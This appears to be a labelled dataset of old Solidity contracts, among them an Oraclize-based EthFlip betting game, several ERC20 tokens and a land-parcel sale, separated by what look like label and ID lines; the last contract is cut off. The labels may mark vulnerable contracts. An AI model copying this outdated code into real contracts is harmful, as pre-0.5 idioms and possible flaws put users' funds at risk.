copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ delete oraclize_randomDS_args[queryId]; } else return false; bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; require(to.length >= minLength); uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } contract EthFlip is usingOraclize { struct Bet { bool win; uint betValue; uint timestamp; address playerAddress; } struct QueryMap { uint betValue; address playerAddress; } bool private gamePaused; uint private minBet; uint private maxBet; uint private houseFee; uint private oraclizeGas; uint private oraclizeGasPrice; address private owner; uint private currentQueryId; uint private currentBetNumber; uint private totalPayouts; uint private totalWins; uint private totalLosses; bool private win; uint private randomNumber; mapping (uint => Bet) private pastBets; mapping (uint => QueryMap) private queryIdMap; event BetComplete(bool _win, uint _betNumber, uint _betValue, uint _timestamp, address _playerAddress); event GameStatusUpdate(bool _paused); event MinBetUpdate(uint _newMin); event MaxBetUpdate(uint _newMax); event HouseFeeUpdate(uint _newFee); event OwnerUpdate(address _newOwner); modifier gameIsActive { require(!gamePaused); _; } modifier gameIsNotActive { require(gamePaused); _; } modifier senderIsOwner { require(msg.sender == owner); _; } modifier senderIsOraclize { require(msg.sender == oraclize_cbAddress()); _; } modifier sentEnoughForBet { require(msg.value >= minBet); _; } modifier didNotSendOverMaxBet { require(msg.value <= maxBet); _; } function EthFlip() public { minBet = 100000000000000000; maxBet = 500000000000000000; houseFee = 29; oraclizeGas = 350000; oraclizeGasPrice = 3010000000; oraclize_setCustomGasPrice(oraclizeGasPrice); oraclize_setProof(proofType_Ledger); owner = msg.sender; } function() public payable {} function placeBet() public payable gameIsActive sentEnoughForBet didNotSendOverMaxBet { secureGenerateNumber(msg.sender, msg.value); } function secureGenerateNumber(address _playerAddress, uint _betValue) private { bytes32 queryId = oraclize_newRandomDSQuery(0, 2, oraclizeGas); uint convertedId = uint(keccak256(queryId)); queryIdMap[convertedId].betValue = _betValue; queryIdMap[convertedId].playerAddress = _playerAddress; } function checkIfWon() private { if (randomNumber <= 50) { win = true; sendPayout(subtractHouseFee(queryIdMap[currentQueryId].betValue*2)); } else { win = false; } logBet(); } function sendPayout(uint _amountToPayout) private { uint payout = _amountToPayout; _amountToPayout = 0; queryIdMap[currentQueryId].playerAddress.transfer(payout); } function subtractHouseFee(uint _amount) private returns (uint _result) { return (_amount*(1000-houseFee))/1000; } function logBet() private { currentBetNumber++; if (win) { totalWins++; totalPayouts += queryIdMap[currentQueryId].betValue; } else { totalLosses++; } pastBets[currentBetNumber] = Bet({win:win, betValue:queryIdMap[currentQueryId].betValue, timestamp:block.timestamp, playerAddress:queryIdMap[currentQueryId].playerAddress}); BetComplete(win, currentBetNumber, queryIdMap[currentQueryId].betValue, block.timestamp, queryIdMap[currentQueryId].playerAddress); } function getLastBetNumber() constant public returns (uint) { return currentBetNumber; } function getTotalPayouts() constant public returns (uint) { return totalPayouts; } function getTotalWins() constant public returns (uint) { return totalWins; } function getTotalLosses() constant public returns (uint) { return totalLosses; } function getBalance() constant public returns (uint) { return this.balance; } function getGamePaused() constant public returns (bool) { return gamePaused; } function getMinBet() constant public returns (uint) { return minBet; } function getMaxBet() constant public returns (uint) { return maxBet; } function getHouseFee() constant public returns (uint) { return houseFee; } function getOraclizeGas() constant public returns (uint) { return oraclizeGas; } function getOraclizeGasPrice() constant public returns (uint) { return oraclizeGasPrice; } function getOwnerAddress() constant public returns (address) { return owner; } function getPastBet(uint _betNumber) constant public returns (bool _win, uint _betValue, uint _timestamp, address _playerAddress) { require(currentBetNumber >= _betNumber); return (pastBets[_betNumber].win, pastBets[_betNumber].betValue, pastBets[_betNumber].timestamp, pastBets[_betNumber].playerAddress); } function pauseGame() public senderIsOwner gameIsActive { gamePaused = true; GameStatusUpdate(true); } function resumeGame() public senderIsOwner gameIsNotActive { gamePaused = false; GameStatusUpdate(false); } function setMaxBet(uint _newMax) public senderIsOwner gameIsNotActive { require(_newMax >= 100000000000000000); maxBet = _newMax; MaxBetUpdate(_newMax); } function setMinBet(uint _newMin) public senderIsOwner gameIsNotActive { require(_newMin >= 100000000000000000); minBet = _newMin; MinBetUpdate(_newMin); } function setHouseFee(uint _newFee) public senderIsOwner gameIsNotActive { require(_newFee <= 100); houseFee = _newFee; HouseFeeUpdate(_newFee); } function setOraclizeGas(uint _newGas) public senderIsOwner gameIsNotActive { oraclizeGas = _newGas; } function setOraclizeGasPrice(uint _newPrice) public senderIsOwner gameIsNotActive { oraclizeGasPrice = _newPrice + 10000000; oraclize_setCustomGasPrice(oraclizeGasPrice); } function setOwner(address _newOwner) public senderIsOwner gameIsNotActive { owner = _newOwner; OwnerUpdate(_newOwner); } function selfDestruct() public senderIsOwner gameIsNotActive { selfdestruct(owner); } function __callback(bytes32 _queryId, string _result, bytes _proof) public senderIsOraclize { currentQueryId = uint(keccak256(_queryId)); if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0) { randomNumber = (uint(keccak256(_result)) % 100) + 1; checkIfWon(); } else { uint refundValue = queryIdMap[currentQueryId].betValue; queryIdMap[currentQueryId].betValue = 0; queryIdMap[currentQueryId].playerAddress.transfer(refundValue); } } }
0
1,031
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _owner) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function allowance(address _owner, address _spender) public view returns (uint256); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } contract ERC20Token is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalToken; function transfer(address _to, uint256 _value) public returns (bool) { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(balances[_from] >= _value); require(allowed[_from][msg.sender] >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function totalSupply() public view returns (uint256) { return totalToken; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } } contract CGPToken is ERC20Token, Owned { string public constant name = "CGP Token"; string public constant symbol = "CGP"; uint256 public constant decimals = 18; uint256 public constant initialToken = 1000000000 * (10 ** decimals); address public constant rescueAddress = 0x0011DB89b1eA1783D82B1282d984A90B2620d230; constructor() public { totalToken = initialToken; balances[msg.sender] = initialToken; emit Transfer(0x0, msg.sender, initialToken); } function transferAnyERC20Token(address _tokenAddress, uint256 _value) public onlyOwner returns (bool) { return ERC20(_tokenAddress).transfer(rescueAddress, _value); } }
1
4,122
pragma solidity ^0.4.25; contract Owned { address public owner; address public newOwner; bool private initialised; event OwnershipTransferred(address indexed _from, address indexed _to); modifier onlyOwner { require(msg.sender == owner); _; } function initOwned(address _owner) internal { require(!initialised); owner = _owner; initialised = true; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } function transferOwnershipImmediately(address _newOwner) public onlyOwner { emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } function max(uint a, uint b) internal pure returns (uint c) { c = a >= b ? a : b; } function min(uint a, uint b) internal pure returns (uint c) { c = a <= b ? a : b; } } contract ERC20Interface { event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract BTTSTokenInterface is ERC20Interface { uint public constant bttsVersion = 110; bytes public constant signingPrefix = "\x19Ethereum Signed Message:\n32"; bytes4 public constant signedTransferSig = "\x75\x32\xea\xac"; bytes4 public constant signedApproveSig = "\xe9\xaf\xa7\xa1"; bytes4 public constant signedTransferFromSig = "\x34\x4b\xcc\x7d"; bytes4 public constant signedApproveAndCallSig = "\xf1\x6f\x9b\x53"; event OwnershipTransferred(address indexed from, address indexed to); event MinterUpdated(address from, address to); event Mint(address indexed tokenOwner, uint tokens, bool lockAccount); event MintingDisabled(); event TransfersEnabled(); event AccountUnlocked(address indexed tokenOwner); function symbol() public view returns (string); function name() public view returns (string); function decimals() public view returns (uint8); function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success); function signedTransferHash(address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash); function signedTransferCheck(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result); function signedTransfer(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success); function signedApproveHash(address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash); function signedApproveCheck(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result); function signedApprove(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success); function signedTransferFromHash(address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash); function signedTransferFromCheck(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result); function signedTransferFrom(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success); function signedApproveAndCallHash(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce) public view returns (bytes32 hash); function signedApproveAndCallCheck(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result); function signedApproveAndCall(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success); function mint(address tokenOwner, uint tokens, bool lockAccount) public returns (bool success); function unlockAccount(address tokenOwner) public; function disableMinting() public; function enableTransfers() public; enum CheckResult { Success, NotTransferable, AccountLocked, SignerMismatch, InvalidNonce, InsufficientApprovedTokens, InsufficientApprovedTokensForFees, InsufficientTokens, InsufficientTokensForFees, OverflowError } } contract PriceFeedInterface { function name() public view returns (string); function getRate() public view returns (uint _rate, bool _live); } contract BonusListInterface { function isInBonusList(address account) public view returns (bool); } contract FxxxLandRush is Owned, ApproveAndCallFallBack { using SafeMath for uint; uint private constant TENPOW18 = 10 ** 18; BTTSTokenInterface public parcelToken; BTTSTokenInterface public gzeToken; PriceFeedInterface public ethUsdPriceFeed; PriceFeedInterface public gzeEthPriceFeed; BonusListInterface public bonusList; address public wallet; uint public startDate; uint public endDate; uint public maxParcels; uint public parcelUsd; uint public usdLockAccountThreshold; uint public gzeBonusOffList; uint public gzeBonusOnList; uint public parcelsSold; uint public contributedGze; uint public contributedEth; bool public finalised; event WalletUpdated(address indexed oldWallet, address indexed newWallet); event StartDateUpdated(uint oldStartDate, uint newStartDate); event EndDateUpdated(uint oldEndDate, uint newEndDate); event MaxParcelsUpdated(uint oldMaxParcels, uint newMaxParcels); event ParcelUsdUpdated(uint oldParcelUsd, uint newParcelUsd); event UsdLockAccountThresholdUpdated(uint oldUsdLockAccountThreshold, uint newUsdLockAccountThreshold); event GzeBonusOffListUpdated(uint oldGzeBonusOffList, uint newGzeBonusOffList); event GzeBonusOnListUpdated(uint oldGzeBonusOnList, uint newGzeBonusOnList); event Purchased(address indexed addr, uint parcels, uint gzeToTransfer, uint ethToTransfer, uint parcelsSold, uint contributedGze, uint contributedEth, bool lockAccount); constructor(address _parcelToken, address _gzeToken, address _ethUsdPriceFeed, address _gzeEthPriceFeed, address _bonusList, address _wallet, uint _startDate, uint _endDate, uint _maxParcels, uint _parcelUsd, uint _usdLockAccountThreshold, uint _gzeBonusOffList, uint _gzeBonusOnList) public { require(_parcelToken != address(0) && _gzeToken != address(0)); require(_ethUsdPriceFeed != address(0) && _gzeEthPriceFeed != address(0) && _bonusList != address(0)); require(_wallet != address(0)); require(_startDate >= now && _endDate > _startDate); require(_maxParcels > 0 && _parcelUsd > 0); initOwned(msg.sender); parcelToken = BTTSTokenInterface(_parcelToken); gzeToken = BTTSTokenInterface(_gzeToken); ethUsdPriceFeed = PriceFeedInterface(_ethUsdPriceFeed); gzeEthPriceFeed = PriceFeedInterface(_gzeEthPriceFeed); bonusList = BonusListInterface(_bonusList); wallet = _wallet; startDate = _startDate; endDate = _endDate; maxParcels = _maxParcels; parcelUsd = _parcelUsd; usdLockAccountThreshold = _usdLockAccountThreshold; gzeBonusOffList = _gzeBonusOffList; gzeBonusOnList = _gzeBonusOnList; } function setWallet(address _wallet) public onlyOwner { require(!finalised); require(_wallet != address(0)); emit WalletUpdated(wallet, _wallet); wallet = _wallet; } function setStartDate(uint _startDate) public onlyOwner { require(!finalised); require(_startDate >= now); emit StartDateUpdated(startDate, _startDate); startDate = _startDate; } function setEndDate(uint _endDate) public onlyOwner { require(!finalised); require(_endDate > startDate); emit EndDateUpdated(endDate, _endDate); endDate = _endDate; } function setMaxParcels(uint _maxParcels) public onlyOwner { require(!finalised); require(_maxParcels >= parcelsSold); emit MaxParcelsUpdated(maxParcels, _maxParcels); maxParcels = _maxParcels; } function setParcelUsd(uint _parcelUsd) public onlyOwner { require(!finalised); require(_parcelUsd > 0); emit ParcelUsdUpdated(parcelUsd, _parcelUsd); parcelUsd = _parcelUsd; } function setUsdLockAccountThreshold(uint _usdLockAccountThreshold) public onlyOwner { require(!finalised); emit UsdLockAccountThresholdUpdated(usdLockAccountThreshold, _usdLockAccountThreshold); usdLockAccountThreshold = _usdLockAccountThreshold; } function setGzeBonusOffList(uint _gzeBonusOffList) public onlyOwner { require(!finalised); emit GzeBonusOffListUpdated(gzeBonusOffList, _gzeBonusOffList); gzeBonusOffList = _gzeBonusOffList; } function setGzeBonusOnList(uint _gzeBonusOnList) public onlyOwner { require(!finalised); emit GzeBonusOnListUpdated(gzeBonusOnList, _gzeBonusOnList); gzeBonusOnList = _gzeBonusOnList; } function symbol() public view returns (string _symbol) { _symbol = parcelToken.symbol(); } function name() public view returns (string _name) { _name = parcelToken.name(); } function ethUsd() public view returns (uint _rate, bool _live) { return ethUsdPriceFeed.getRate(); } function gzeEth() public view returns (uint _rate, bool _live) { return gzeEthPriceFeed.getRate(); } function gzeUsd() public view returns (uint _rate, bool _live) { uint _ethUsd; bool _ethUsdLive; (_ethUsd, _ethUsdLive) = ethUsdPriceFeed.getRate(); uint _gzeEth; bool _gzeEthLive; (_gzeEth, _gzeEthLive) = gzeEthPriceFeed.getRate(); if (_ethUsdLive && _gzeEthLive) { _live = true; _rate = _ethUsd.mul(_gzeEth).div(TENPOW18); } } function parcelEth() public view returns (uint _rate, bool _live) { uint _ethUsd; (_ethUsd, _live) = ethUsd(); if (_live) { _rate = parcelUsd.mul(TENPOW18).div(_ethUsd); } } function parcelGzeWithoutBonus() public view returns (uint _rate, bool _live) { uint _gzeUsd; (_gzeUsd, _live) = gzeUsd(); if (_live) { _rate = parcelUsd.mul(TENPOW18).div(_gzeUsd); } } function parcelGzeWithBonusOffList() public view returns (uint _rate, bool _live) { uint _parcelGzeWithoutBonus; (_parcelGzeWithoutBonus, _live) = parcelGzeWithoutBonus(); if (_live) { _rate = _parcelGzeWithoutBonus.mul(100).div(gzeBonusOffList.add(100)); } } function parcelGzeWithBonusOnList() public view returns (uint _rate, bool _live) { uint _parcelGzeWithoutBonus; (_parcelGzeWithoutBonus, _live) = parcelGzeWithoutBonus(); if (_live) { _rate = _parcelGzeWithoutBonus.mul(100).div(gzeBonusOnList.add(100)); } } function purchaseWithGze(uint256 tokens) public { require(gzeToken.allowance(msg.sender, this) >= tokens); receiveApproval(msg.sender, tokens, gzeToken, ""); } function receiveApproval(address from, uint256 tokens, address token, bytes ) public { require(now >= startDate && now <= endDate); require(token == address(gzeToken)); uint _parcelGze; bool _live; if (bonusList.isInBonusList(from)) { (_parcelGze, _live) = parcelGzeWithBonusOnList(); } else { (_parcelGze, _live) = parcelGzeWithBonusOffList(); } require(_live); uint parcels = tokens.div(_parcelGze); if (parcelsSold.add(parcels) >= maxParcels) { parcels = maxParcels.sub(parcelsSold); } uint gzeToTransfer = parcels.mul(_parcelGze); contributedGze = contributedGze.add(gzeToTransfer); require(ERC20Interface(token).transferFrom(from, wallet, gzeToTransfer)); bool lock = mintParcelTokens(from, parcels); emit Purchased(from, parcels, gzeToTransfer, 0, parcelsSold, contributedGze, contributedEth, lock); } function () public payable { require(now >= startDate && now <= endDate); uint _parcelEth; bool _live; (_parcelEth, _live) = parcelEth(); require(_live); uint parcels = msg.value.div(_parcelEth); if (parcelsSold.add(parcels) >= maxParcels) { parcels = maxParcels.sub(parcelsSold); } uint ethToTransfer = parcels.mul(_parcelEth); contributedEth = contributedEth.add(ethToTransfer); uint ethToRefund = msg.value.sub(ethToTransfer); if (ethToRefund > 0) { msg.sender.transfer(ethToRefund); } bool lock = mintParcelTokens(msg.sender, parcels); emit Purchased(msg.sender, parcels, 0, ethToTransfer, parcelsSold, contributedGze, contributedEth, lock); } function offlinePurchase(address tokenOwner, uint parcels) public onlyOwner { require(!finalised); if (parcelsSold.add(parcels) >= maxParcels) { parcels = maxParcels.sub(parcelsSold); } bool lock = mintParcelTokens(tokenOwner, parcels); emit Purchased(tokenOwner, parcels, 0, 0, parcelsSold, contributedGze, contributedEth, lock); } function mintParcelTokens(address account, uint parcels) internal returns (bool _lock) { require(parcels > 0); parcelsSold = parcelsSold.add(parcels); _lock = parcelToken.balanceOf(account).add(parcelUsd.mul(parcels)) >= usdLockAccountThreshold; require(parcelToken.mint(account, parcelUsd.mul(parcels), _lock)); if (parcelsSold >= maxParcels) { parcelToken.disableMinting(); finalised = true; } } function finalise() public onlyOwner { require(!finalised); require(now > endDate || parcelsSold >= maxParcels); parcelToken.disableMinting(); finalised = true; } }
1
3,956
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract EQUIToken is StandardToken, BurnableToken { string public constant name = "EQUI Token"; string public constant symbol = "EQUI"; uint8 public constant decimals = 18; uint256 private constant INITIAL_SUPPLY = 250000000 ether; constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0,msg.sender, INITIAL_SUPPLY); } }
1
4,140
pragma solidity ^0.4.11; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract MWSToken is StandardToken, Pausable { string public constant name = 'Medical Workshop'; string public constant symbol = 'MWS'; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1200000000 * 10**uint256(decimals); function MWSToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) whenNotPaused returns (bool) { require(_to != address(0)); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns 